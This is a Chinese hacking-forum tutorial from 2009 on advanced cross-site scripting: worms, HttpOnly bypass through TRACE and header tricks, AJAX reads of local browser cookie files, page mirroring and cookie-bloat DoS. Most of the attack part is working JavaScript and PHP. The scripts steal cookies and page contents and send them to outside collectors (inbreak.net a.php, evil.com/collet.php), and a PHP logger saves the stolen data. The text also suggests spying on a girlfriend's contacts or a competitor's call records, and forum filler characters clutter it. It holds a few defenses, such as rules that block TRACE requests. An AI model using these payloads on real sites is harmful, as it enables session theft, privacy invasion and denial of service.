XSS的高级利用部分总结 -蠕虫

admin

XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页
本帖最后由 racle 于 2009-5-30 09:19 编辑

XSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页
By racle@tian6.com   
http://bbs.tian6.com/thread-12711-1-1.html
转帖请保留版权

2 f2 @$ F8 t$ s; M* L' [0 p" T
) p5 m- x0 q* H* z9 g. w% x! e
-------------------------------------------前言---------------------------------------------------------
1 r! G9 ?8 E9 K

8 r/ L& r- K# |% _本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.

9 L  A+ t; x/ q' r
如果你还未具备基础XSS知识,以下几个文章建议拜读:
& d% T1 o/ k% q7 U$ Lhttp://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/        JavaScript中文简介
http://www.google.com/search?q=XSS+%D3%EF%BE%E4        XSS语句大全
& a- Y" n# G2 t( l" |8 [; ohttp://www.google.com/search?q=XSS+%C8%C6%B9%FD        XSS语句绕过
3 F, M5 G% V) @  x. \% l2 whttp://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt        FLASH CSRF
- Q$ |2 A3 G) t2 K) w- Yhttp://bbs.tian6.com/thread-12239-1-1.html        突破XSS字符数量限制执行任意JS代码
  b% G- x- h! F& vhttp://bbs.tian6.com/thread-12241-1-1.html        利用窗口引用漏洞和XSS漏洞实现浏览器劫持

4 s! z- ~2 q/ V# j1 u  S9 F5 n! K# ?9 f5 @


' x& p9 ~8 U$ D1 h% S如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.
! ^0 {5 \" `" x  I' K/ s. G
. L/ ~/ V/ k8 _, @3 S7 F! O- P希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.

如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS    6次XSS蠕虫版本变化,
3 t' G+ u8 M7 R3 Z5 L: z1 t" v, S
/ f; K" d+ X' H# xBaidu xss蠕虫         感染了8700多个blog.媒体影响力,关注度巨大
" v7 r* f) \0 j$ J1 f- M/ j
QQ ZONE,校内网XSS     感染过万QQ ZONE.
) z; l& a5 _0 N, {
OWASP MYSPACE XSS蠕虫        20小时内传染一百万用户,最后导致MySpace瘫痪
$ J" [1 J; @  m1 Z
4 N. y! k9 g2 C* P! i..........
复制代码------------------------------------------介绍-------------------------------------------------------------

- i  w3 ~$ S9 i6 n2 p2 r2 J% |' _6 x什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.



跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息（Cookie）,由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.
% ]: a3 }. U) s% b" B3 e

. n9 M1 R4 X2 X2 t
3 F- ~/ B& \. [2 t' a. h如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.
3 a0 ^- \, w6 \9 {' X1 h复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.
我们在这里重点探讨以下几个问题:

9 q; t% D* d7 U$ z1        通过XSS,我们能实现什么?
, B) `: w9 G( _: i
2        如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?
% y" A; l4 @) Z8 W' j
8 j' R) L/ I: Q& j* h3        XSS的高级利用和高级综合型XSS蠕虫的可行性?
% O  N  D! {6 ?" s8 W
9 }6 m+ h; Y: }4 f- n7 Y4        XSS漏洞在输出和输入两个方面怎么才能避免.


" i( {# [; m  b' k1 D8 C% M$ O
' K+ ~6 L/ H* _) T/ {' T) U------------------------------------------研究正题----------------------------------------------------------
% J9 p1 C" j: |1 n
; _3 K/ N+ E' ]3 ]: J8 P5 _! z
$ R: o6 S( @4 C( u! ^0 G
通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.
复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫
复制代码XSS漏洞在输出和输入两个方面怎么才能避免.
1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.
% Z  ^8 K0 I+ a) o$ G2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.
# ~/ w( I" a9 _# q# z8 Q! y8 I3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.
4:Http-only可以采用作为COOKIES保护方式之一.
0 G( Q# [' o5 ]& S5 B+ g) ^6 d

7 K7 X8 ^6 r0 K5 z7 q# F
, s8 [4 n% u# q% _3 Y- a

& y1 `' c) [+ y# v% x$ ~& T(I) AJAX在不同的浏览器下的本地文件操作权限读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)
6 y, ^9 G3 ?8 x1 v
我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息:    1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的，看来MS对IE这类安全风险比较重视。(这有一些问题，随后修正!)


7 b4 C+ M' J5 o" u+ n* A# Z4 z+ F% ~
5 o3 g9 Y7 N$ B- k! F# m' _3 M    2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。



( ~6 {5 T" m4 n. f: ~4 I    3: opera9.64及以下版本允许通过指定url为file://协议进行访问；如果文件在当前目录下，则不需要指定file://协议；如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。
, Z1 h, R9 g0 j, r- z. f  k


    4: 基于webkit内核：google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.
复制代码IE6使用ajax读取本地文件    <script>

; ?" X& E8 i2 l% E6 c5 f    function $(x){return document.getElementById(x)}
3 ?: K  r# ?$ d1 k# p$ B) v' q


1 p* c0 k! X) w/ L( B& H    function ajax_obj(){

- O$ X1 u" c8 M) z  O* U2 o* T    var request = false;
5 b% J" F8 |* u) @
    if(window.XMLHttpRequest) {

    request = new XMLHttpRequest();
) N( W3 [- t3 v4 ^* y
    } else if(window.ActiveXObject) {

8 s0 y9 l" A  Z1 F; {1 r7 H    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',


1 I* E) E9 F( w
    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
, @- o4 C" c/ w+ {* }* R
    for(var i=0; i<versions.length; i++) {
9 W/ z4 q! i, J. H4 m5 Z
  O+ }9 P$ x9 x6 d    try {
; m4 F: @) q( v+ m
: z7 S' a( u6 P5 p" _. M6 C+ S    request = new ActiveXObject(versions);
, @" h4 x; g: D& u
    } catch(e) {}
" L5 [7 _& a! L
    }

( q6 |4 L$ G# E% L9 `$ K# x    }
  O5 Q2 U  {* W6 x3 |
9 G+ W8 d& O5 g, R7 ~    return request;
! t: {& e3 O3 Z/ F
    }

    var _x = ajax_obj();

    function _7or3(_m,action,argv){

    _x.open(_m,action,false);
3 q* \5 p/ W! K& B
    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
5 a. R# k. }2 K3 ~
    _x.send(argv);
) q/ }  F# h4 C; a, d; V
9 ~& w& n9 ~8 c( y    return _x.responseText;
3 X9 v5 r& R; k) X( ?3 g- u: p
    }


% _5 g' E$ h( M9 U5 x+ U
    var txt=_7or3("GET","file://localhost/C:/11.txt",null);

    alert(txt);
9 Y3 A* \# x# [) \  u0 y! ?  ~

2 L  L8 }- N  `# @. H
    </script>
复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件.    <script>
1 u* Z! S6 h3 z1 \2 t& |6 k5 U  a; ~
    function $(x){return document.getElementById(x)}



    function ajax_obj(){
9 B5 X& Y0 l4 D
    var request = false;

    if(window.XMLHttpRequest) {
$ ]+ u/ f+ S! h) L. x& L! G
- ]7 F% ]& J9 U8 {% E    request = new XMLHttpRequest();

    } else if(window.ActiveXObject) {

    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',

5 l/ C& `+ h5 j  l8 x! z

    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
0 x6 ~; Q4 ]4 ]# |* J/ B2 J5 @
, ^3 Q$ f# [2 N: p# p    for(var i=0; i<versions.length; i++) {

    try {
: p8 g7 F9 ]2 x& W7 T: L
    request = new ActiveXObject(versions);
" a: x1 g6 r9 y' Y3 K
) A' V3 @$ R8 A+ W/ A2 H7 E1 F5 E    } catch(e) {}
& o, i, M: r! f1 u  z# z4 J; S
    }
* D( w7 ^3 S5 c& b
( d; l" {- G" o( Q. Z+ Z# ^    }

+ o, l1 e$ e; ~. |' i9 `    return request;

    }

! e+ Y# k9 D( W0 v    var _x = ajax_obj();
2 V; V4 G7 L8 j5 V: D5 R
; [9 |/ K6 h0 q* f! i! D    function _7or3(_m,action,argv){

    _x.open(_m,action,false);
, U5 k4 ~: U% l* E$ i6 U" ?
    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
2 ~% }  |& ]; ]
    _x.send(argv);
+ C# {- Q: {3 Z
' L( K; i3 J6 t8 I    return _x.responseText;
2 T( }2 @+ L1 X0 e* G+ I  R
    }
7 [6 T/ J/ M. X2 O$ m9 U8 p% u6 o


    var txt=_7or3("GET","1/11.txt",null);
+ Y8 S% R6 m$ }* r
, U+ M. k$ X6 s. ~7 p6 f9 B    alert(txt);



9 a* I/ @" ^$ w8 E    </script>
; }) c. o  [' a; \, d6 `" [复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”

+ L: V: s- M9 T, }) E" O) o3 k7 ]6 J6 s
5 h' e& ], b) v( S$ T& g3 f7 c
Chrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"

  Q( k3 x. K1 J- @& n
) P: k& T6 q5 H, B
<?   

2 q0 X; ~( O, Z$ n/*  

     Chrome 1.0.154.53 use ajax read local txt file and upload exp  

     www.inbreak.net   

     author voidloafer@gmail.com 2009-4-22   
& U6 f5 i, S/ D) u& O7 l  g1 }
: e3 G- p9 h# P: S) G3 U     http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save.  

9 F: e' ^2 s6 t*/  
; U, C  \. v7 ~
header("Content-Disposition: attachment;filename=kxlzx.htm");   

header("Content-type: application/kxlzx");   

% S4 C/ l* ^8 L0 b/*  
; O4 j( H3 _0 K# s
- c' c' c2 W$ d4 o  r! @     set header, so just download html file,and open it at local.  

* w. Z0 [4 h7 E1 F# g# }& H4 t*/  

?>   
( ]; s+ v% L( S/ ~% c2 Q
<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method="OST">   

     <input id="input" name="cookie" value="" type="hidden">   

</form>   

<script>   
  ]0 r$ J- |% S. }' l1 p
5 M) Q0 m. ?6 c0 W2 r: O! Ufunction doMyAjax(user)   

: f# |' y0 {) _' P" Y! h% _{   

6 \+ q4 Z  H/ K5 a6 Dvar time = Math.random();   

/*  

- U0 s) M" C3 H3 Z2 nthe cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default  
$ w) y5 Y% J; D* H* F
7 o) y/ J5 e7 [7 oand the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History  

& o; p6 j8 n% I. X' \( L( I2 [and so on...  

; y7 H% D. M+ b& u*/  

var strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time;   

. B2 ~% w1 X2 [8 M+ T6 M   
7 ^/ ?- h  N! A9 Z& p8 e/ l) S  @- V) l
startRequest(strPer);   

1 L8 N6 |8 l  c, w

% Y) K6 S- E' x- P9 P}   
2 Q8 c4 A$ n. P) z: j% r4 S
   

4 D9 c. k. l4 L# E) _function Enshellcode(txt)   
+ n0 _/ d$ p% D9 p
{   

- H) y3 C2 E6 svar url=new String(txt);   
& B- a8 X; |" u3 G+ a" |0 R
var i=0,l=0,k=0,curl="";   
2 J  U3 {. @1 Z, ?" g, |1 S
. M* `  Q: |3 [2 `+ pl= url.length;   
! u; Q7 u  |$ I% J
for(;i<l;i++){   
% B8 e2 O& t9 ^) s" M4 ?
2 R3 }3 @. T# K3 Zk=url.charCodeAt(i);   
3 O% O$ w  w0 A+ m/ D) |
if(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);}   

if (l%2){curl+="00";}else{curl+="0000";}   

curl=curl.replace(/(..)(..)/g,"%u$2$1");   

/ [8 Z" {6 w1 A( K  X5 U7 }2 Yreturn curl;   

5 P# Z5 B9 [: H- H- X}   
! y% S+ e+ Z3 ~! v0 z! {
   

   
9 p2 \! @, A7 m
var xmlHttp;   

' J5 n# ]" r! a! D' E6 y0 |function createXMLHttp(){   

1 V3 V# J5 F$ T+ ]5 x     if(window.XMLHttpRequest){   
: `% W) v# ~) f4 E
' \# p. l" ]. }6 [% o5 h0 gxmlHttp = new XMLHttpRequest();           

8 ?( R" F: i; Q  h" M) {0 M1 {+ ^  s     }   
  }  V8 R: c2 c8 P1 W$ v( V7 o
     else if(window.ActiveXObject){   
4 W: g9 ^; V6 \' N& x- E, Z
xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");   

     }   

! z: O. S2 ?; `$ `3 }8 j1 O3 j0 T}   

2 j9 X3 g2 X0 O6 `+ m   
3 Z: R$ X9 r4 m# E+ @" U. k
function startRequest(doUrl){   
* |2 L( g1 w% N+ `# s# r# n( T
; F0 E( ~, z7 [5 b* ]* [! s   

- f/ p: ]! r$ b     createXMLHttp();   
, G$ Z( p8 s8 P2 ^0 \9 ~) o
6 T! [8 S/ @, h' y+ D; ]

     xmlHttp.onreadystatechange = handleStateChange;   
7 L. p- R0 h9 w! \( L) R8 H1 V! h


     xmlHttp.open("GET", doUrl, true);   


! `# H* o: A7 ]
     xmlHttp.send(null);   
2 N/ W/ o! b" g* C) K
* [7 N' y( H# z0 R
2 E* x! ^6 m; b/ k6 D( R3 f1 f

* E0 A6 q: V. e: F, y
3 O+ \$ `( ?4 }1 x+ W}   
  ~3 ]" n' \( }+ g
   

3 H* L* P5 C5 O1 w  G7 b( ofunction handleStateChange(){   

9 T; m" M2 A$ e     if (xmlHttp.readyState == 4 ){   

% S% h+ J) {8 `' Y( {& z     var strResponse = "";   
# X$ p& R; P' `! c" `# ?( {
     setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000);   
7 g# e* H3 Y/ ~6 H
        
1 |5 X, }# ^. M) A" x6 N! m6 T' @
     }   
; c. y8 c( H8 B( r0 n
4 Y' H) Q9 l. T+ F. a}   

   

   
$ x$ ~) p5 a; F5 |1 X: V
function framekxlzxPost(text)   

# \' n2 L; x4 W% F5 S( ]{   
7 {5 i" e0 i3 M0 b* b* K5 \
# P* y) s+ Z. F7 D0 `: j1 t     document.getElementById("input").value = Enshellcode(text);   
* U2 C1 Q3 A' ^5 w
     document.getElementById("form").submit();   
9 Y  q! a, J4 t* K
/ r5 O+ b% V3 ^' U+ Z}   
& V$ M$ I' y: v) G8 b. C
. v! K' v* b" d/ m   
' Q) A" `' Q  d  f6 @) w
4 ]% V: S, f* B) c3 I$ LdoMyAjax("administrator");   

   
# @% y! Z) P0 F7 a# X
0 g' t+ ~  q$ J9 s$ k</script>
4 ?* u( k2 c0 @, s! g. v! {复制代码opera 9.52使用ajax读取本地COOKIES文件<script>  
+ b6 q  u! p7 `. G, f
( i; \/ @  d8 [8 I2 b( X. I. s8 ~var xmlHttp;  
3 S: W# Q  r8 p* c* U
. F5 {: b9 r2 F! {function createXMLHttp(){  

     if(window.XMLHttpRequest){  
& n4 s' b# Q" G  @0 L7 D* i
         xmlHttp = new XMLHttpRequest();         

     }  
/ g/ `1 @5 w" |" ~7 F3 Q3 k
     else if(window.ActiveXObject){  
  K5 m: ]; l5 s5 P$ b& a' z
         xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");  

     }  
5 r. P4 U" y& ?7 D0 b6 z- M( S
4 w0 j- S' ~+ x* h}  

5 B' Y& v) |7 n! C- O' J   

function startRequest(doUrl){  
* c' n3 T7 D7 e( v4 p  t  J1 O
, G; b: s+ ~, m1 J) h$ ]           

     createXMLHttp();  

      
+ p5 p5 r" s9 v; v4 O: u, u
$ i5 i  x8 s! K2 H# T     xmlHttp.onreadystatechange = handleStateChange;  
8 n: f5 Z4 ?+ d( y# q! c# ]
      

- i% k0 M- s( e- S8 u& [     xmlHttp.open("GET", doUrl, true);  
$ O% V6 ]# ?* R
5 a9 M' I+ Q+ K) L4 v; j, {  i9 N      

     xmlHttp.send(null);  

      
1 B% S% Y0 M. F3 X
      

}   
/ z9 n* K( X% _7 m" e. _0 m
   
% \& z" {% O9 h) m* @8 T
function handleStateChange(){  
& E) s! a# m+ M- J  F. p
) r, Q7 C$ r/ O     if (xmlHttp.readyState == 4 ){  

9 r6 T- K8 k2 M; b6 K* {             var strResponse = "";  
/ S" Y% F# R: k3 }$ h. a  v! H
( I* B: E/ W" N             setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000);   

% L4 D/ x$ s8 O6 g               

     }  
8 s! O" I# G! c# ?3 ?
}  

6 r  d4 `; G8 i) q   
* H) y+ _2 ^4 L
function doMyAjax(user,file)  

3 H' y# {8 ^: R) d9 O* c, X" ^  a{  
- h/ h% b" k- x/ u) \
; a7 G0 C8 V6 \5 w/ m6 }$ j         var time = Math.random();  

           

  Y- n5 l* r: V3 j         var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time;  

4 t3 \; N1 G; H1 C: m! I5 z           
0 g7 q* `% }" q! b. t
         startRequest(strPer);  

      
8 P" u. v- I- p$ z6 r9 E! Q
# C* i. q/ `: ~3 m! c4 X}  
( ~1 S, d5 p* N) W( o* ]
   
% o" e  G2 o2 G2 g3 O# M' e
function framekxlzxPost(text)  
, ]# X+ j; e9 p+ j+ f
{  
' p( l  Q! |9 o* ]
     document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text);  

9 D, T6 l* {0 T- Y% O' f, m     alert(/ok/);  

( P  O, c7 ?* p( \8 t4 R1 J1 b9 C}  

# \$ {* K& p$ ~2 t1 E2 m" [) c   

3 p1 }+ B, d* I. M2 T- u2 h5 hdoMyAjax('administrator','administrator@alibaba[1].txt');  
/ R- L4 N5 S& c
   
; _! U1 B% R! q- Y8 H
: |/ q4 W7 [; n' n' X</script>
4 A8 _0 s. t* s$ b- Y" j3 J
) I. C, f+ V0 M

( _* i8 L7 ]1 j- _7 W- r4 M* Z
2 j: o" [( n% y  P4 X
a.php
, V0 F" F! A9 t2 V. z: a& c
2 D1 u( A; L* ]$ A* G

<?php      

/ `( H2 w; y6 U; [   

% m" [/ W: B) r' N+ b  B$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"];  
& U" N) s+ y7 s9 G/ D  K
+ A0 n3 w: M: x( L  Z1 h$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"];   

- B4 B/ s6 o' R% {  {% i0 Y: i  
3 a, q2 U8 r# O
$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb");     

5 Y& g# b' j, Y" X* _4 D# L* xfwrite($fp,$_GET["cookie"]);      
; C3 u7 R7 z1 t
fclose($fp);   

?>
复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:

1 a6 o% C' @6 e& n3 P' P9 n( F或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.
利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.
) }: i7 \: B" F& K) {! i
代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);
( E0 j2 @% z, C
6 w3 y6 s+ Y- {. j& Q& d//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);

3 r( p' I- t8 ~8 O- \" N/ c//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);
- q4 W7 ^3 p! K, G7 s3 Z$ g1 V
. `2 F# ]$ W0 l' Afunction getURL(s) {
) Z8 g" \8 v  q6 D# X7 h
( }" ]8 ^) J/ P7 V  z  G* B( G$ N" g: fvar image = new Image();

image.style.width = 0;

image.style.height = 0;
4 v3 ?3 B- c5 A, E% Q
: J* a* P7 O" h) c) L1 h% zimage.src = s;
; m2 R& Z; H5 g
}
7 w% m+ }0 Y; O' E& \  N; c
4 V$ g; \" M0 e# n# I: {getURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);
0 e& c9 [, Z) k  f! }: H复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.
5 P2 P2 k: g6 t% `, y# z这里引用大风的一段简单代码:<script language="javascript">

var metastr = "AAAAAAAAAA"; // 10 A
% \: D# c0 [2 y5 l( [
var str = "";
, M! S8 ]1 r* S, D
: _3 A3 G' q" {* C# jwhile (str.length < 4000){

    str += metastr;

}
3 V- I$ X! {8 o6 Z. T


document.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;";    // 一些老版本的webserver可能在这里还会存在XSS

</script>
1 v# d' d% E& h6 x2 v2 P& Q
详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html
复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.
) C% r9 R* y* Q0 vserver limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=150

假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.
攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.





, }5 K- V; f& X) v# s
3 q7 x, }. L1 V) a(III) Http only bypass 与 补救对策:
; J; W  D+ x) w  s+ O
7 r0 t0 u1 }6 A什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性，用以阻止客户端脚本访问Cookie.
1 F1 Z) E( ], }以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">
# P# S0 P7 x. f* l2 z8 m
" `6 j/ j* Z# {4 W5 w2 f<!--
- \& u! `8 k9 F6 p( }
! L% W6 l5 m" s" U& ?function normalCookie() {
2 x1 o, O# }7 E" p* P( T, e
1 M2 R" G, l4 w( U; m) K! U$ z  F# Ydocument.cookie = "TheCookieName=CookieValue_httpOnly";
# K* }* H* i: y
alert(document.cookie);
- n) g1 v: @+ r+ {4 `
}


5 s/ [4 G7 A! O3 ?$ s
9 C& R; \) n) X) Q' l+ U

function httpOnlyCookie() {

document.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly";
7 s5 l7 d. J$ `' N2 Y
0 \8 i/ {$ n: K' Y4 dalert(document.cookie);}

& e1 H% @6 ?1 a2 `/ \6 \; L

$ y; W  K% A  }! `- l2 l//-->

</script>



' p, d9 q( Q5 n7 p" y<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>
1 U1 h9 l8 V+ x$ k0 G
<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>
8 P0 c2 G+ b9 ]$ E4 o复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>
" x0 J1 H9 U- X% p' a  t  L2 ]4 R
0 d2 p' ~1 R: D  ~) o0 Y5 ~

var request = false;

        if(window.XMLHttpRequest) {
! Q2 L$ V* `" R( H' v# z
+ J- W. a5 N- e+ h1 N; p, h( u            request = new XMLHttpRequest();
/ b3 f! f2 S; x$ j8 x8 S/ o# c  W
            if(request.overrideMimeType) {

" b& J8 Z7 r2 P2 E5 c4 m                request.overrideMimeType('text/xml');
' S( \: k) M$ m+ [' H
4 M% k/ p0 V& X* a- m0 Q# z  M) P            }
# y+ C; v/ G4 D% v* J) G' U
6 t* I5 R! H( a* f8 T* ~        } else if(window.ActiveXObject) {

            var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
+ J' d- I5 R% J
0 I6 }6 D" D2 {6 x            for(var i=0; i<versions.length; i++) {
# i# x0 e. d$ F4 ?5 f1 q; N  n
% K1 n" K! a# y8 N                try {

- |. n- C) v( s" w                    request = new ActiveXObject(versions);

/ E: C% p1 g  p                } catch(e) {}

8 h) l; n6 C3 g; D            }

        }

xmlHttp=request;
( Z2 |1 L! L5 h( ?) j
xmlHttp.open("TRACE","http://www.vul.com",false);

+ J: P7 s" F/ yxmlHttp.send(null);
6 G. P- `* Z8 ?: i+ ?/ s2 V) J
) j4 l% g0 ]3 rxmlDoc=xmlHttp.responseText;
- \4 L% X+ s6 t
alert(xmlDoc);

</script>
: f% K2 z+ a3 a复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>
1 F9 V! _* z5 X8 Q
var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");

XmlHttp.open("GET","http://www.google.com",false);
' l( P' q9 v. h2 q
. {/ k& S8 I2 D" w) a, nXmlHttp.setRequestHeader("Host","www.evil.com/collet.php");
$ ^# b6 ?' o6 T6 ?
XmlHttp.send(null);
# b3 z4 y& j. e
var resource=xmlHttp.responseText

resource.search(/cookies/);
7 @( Z$ p2 p" t8 M( v- j
# n% R2 L! `+ I8 a4 d+ {......................

  J: {. |, w5 s. t6 X7 W. ^* q0 b1 Z</script>
3 G$ o# J, E+ l

" p: ]# O2 [( J' b

" n0 P6 z( e6 T5 W4 z  g$ ?
如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求
! n9 c$ U7 b7 `4 _+ O" h
[code]

RewriteEngine On

RewriteCond %{REQUEST_METHOD} ^TRACE

. a1 K% I+ A/ V+ Z: d1 n, @RewriteRule .* - [F]
* L1 S2 S7 W9 @8 d
7 G  d; `9 g5 W/ t% o7 M# u) j
1 ~: I, f) t2 N0 F6 o8 e* `
; K5 ?: ~5 H  f) i1 SSquid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求

acl TRACE method TRACE

...

0 O  A1 f( H" c: T! J* N0 lhttp_access deny TRACE
8 q( T' |: _: Z$ p: F: s) v7 K复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>
! h' s; e, p4 ]) f
% [5 }/ W* N/ p, S* R# Cvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");

1 u& A* `  L* b8 X1 oXmlHttp.open("GET","http://www.google.com",false);

XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");

XmlHttp.send(null);

& @$ a& D8 f" J* J6 |5 X</script>
复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>
' {$ d* w+ E9 q  G* d, `) d" C
1 Z  f* A6 X- e- w- l* Cvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
4 ^6 r; F+ i7 i# s: j% }: t' R7 Y
) P& t6 `  J1 d7 Q. ^8 t5 {8 L
. |- @  W& T& s
XmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);

